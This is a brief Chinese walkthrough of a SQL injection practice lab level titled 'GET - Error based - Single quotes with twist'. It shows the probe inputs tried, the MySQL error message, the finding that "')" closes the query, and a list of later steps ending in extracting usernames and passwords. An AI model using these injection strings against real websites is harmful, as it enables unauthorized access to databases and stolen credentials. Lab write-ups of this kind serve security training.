题目:GET - Error based - Single quotes with twist
基于错误的单引号GET型变形注入
?id=1 )and 1=2--+
?id=1 "and 1=2--+
?id=1 %and 1=2--+
上面都没反应
?id=1 'and 1=2--+
跳出 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1
提示我们语法错误,说明可注入
再看 near ") LIMIT 0,1 ' at line 1
说明可用 ') 来闭合
输入
?id=1 ')and 1=2--+
?id=1 ')and 1=1--+
注入成功
查字段
查可显示字段
查数据库名与版本
查表名
查列名
查账密